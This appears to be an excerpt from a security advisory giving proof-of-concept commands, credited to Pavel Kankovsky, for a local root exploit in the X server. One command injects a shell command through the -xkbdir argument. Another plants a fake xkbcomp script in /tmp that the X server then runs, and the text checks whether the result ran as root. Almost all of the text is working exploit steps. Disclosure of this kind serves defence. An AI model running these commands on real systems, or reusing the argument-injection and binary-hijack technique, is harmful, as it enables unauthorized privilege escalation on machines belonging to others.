The following proof of concepts were provided by Pavel Kankovsky: $ Xserver -xkbdir 'id > /tmp/I_WAS_HERE;' [exit X server] $ grep root /tmp/I_WAS_HERE && echo 'Gotcha!' $ cat > /tmp/xkbcomp #!/bin/sh id > /tmp/I_WAS_HERE [ctrl+d] $ chmod a+x /tmp/xkbcomp $ Xserver -xkbdir /tmp [X server executes /tmp/xkbcomp]